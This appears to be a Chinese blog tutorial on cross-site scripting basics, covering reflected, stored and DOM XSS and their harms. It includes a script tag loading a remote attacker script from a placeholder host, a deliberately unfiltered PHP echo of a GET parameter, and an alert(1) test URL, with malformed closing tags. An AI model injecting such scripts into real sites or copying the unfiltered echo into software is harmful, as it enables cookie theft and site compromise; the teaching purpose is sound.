02-XSS漏洞基础
一、什么是XSS漏洞
XSS即跨站脚本,由于Web应用程序对用户输入过滤的不足而造成的漏洞。攻击者可以利用网站的XSS漏洞,插入恶意的脚本代码到网页中,当其他的用户访问该网页时就会执行网页中的恶意代码,从而对该用户产生攻击和危害。
1.1 跨站脚本
跨站脚本的重点不在“跨”上,而是在“脚本”上,因为“跨”是属于浏览器的属性,而不是缺陷,造成这样的假象是因为绝大多数XSS攻击都会嵌入一段远程或者是第三方域的脚本。因为很多时候输入的内容和长度是有限制的,而攻击的代码会比较长,一般会注入类似下方的代码来引入第三方域的攻击脚本资源。
<script src="http://xss.com/xss.js"><script/>
总之XSS攻击就是想尽一切办法将脚本代码在目标浏览器上执行和解析。
二、XSS类型
XSS类型有三类,反射型XSS(也叫非持久型XSS)、存储型XSS(也叫持久型XSS)、DOM XSS。
2.1反射型XSS
反射型XSS就是发送请求时,攻击代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,在响应的内容中出现这段XSS的代码,然后浏览器解析执行。这个过程就像一次反射,所以叫反射型XSS。
反射型XSS列子:
http://xss.com/xss.php代码如下:
<?php echo $_GET['x']; ?>
输入x的值为做任何的过滤就可以直接输出,可以提交:
http://xss.com/xss.php?x=<script>alert(1)<script/>
服务器端解析时,echo就会完整的输出<script>alert(1)<script/>到响应体中,然后浏览器解析执行,就触发了XSS漏洞。
2.2存储型XSS
存储型XSS就是攻击的脚本会存储到服务器端,可能会存储到数据库或者是文件系统等,下次再请求目标页面时,不用再次提交XSS攻击代码。
存储型XSS例子:
最典型的就是留言板,攻击者在留言板处提交了XSS攻击代码,该代码被存储到了目标服务器数据库中,当目标用户浏览留言板时,那些留言板的内容就会从数据库中查询并显示出来,浏览器发现有XSS的代码,就当作正常的HTML和javascript解析执行,然后触发了XSS漏洞。
2.3 DOM XSS
DOM 型XSS和反射型XSS、存储型XSS的区别在于DOM XSS并不需要服务器端解析响应的直接参与,触发DOM XSS完全靠浏览器的DOM解析,可以认为是完全是前端的事情。
三、哪里会出现XSS漏洞
XSS漏洞涉及的场景非常的广,现在非常多的客户端软件支持HTML、javascript的解析。比如:HTML文档、XML文档、flash、PDF、QQ、一些音乐播放器等。
四、XSS漏洞危害
1、挂马
2、盗取用户cookie
3、钓鱼攻击
4、蠕虫挂马,刷广告等。

浙公网安备 33010602011771号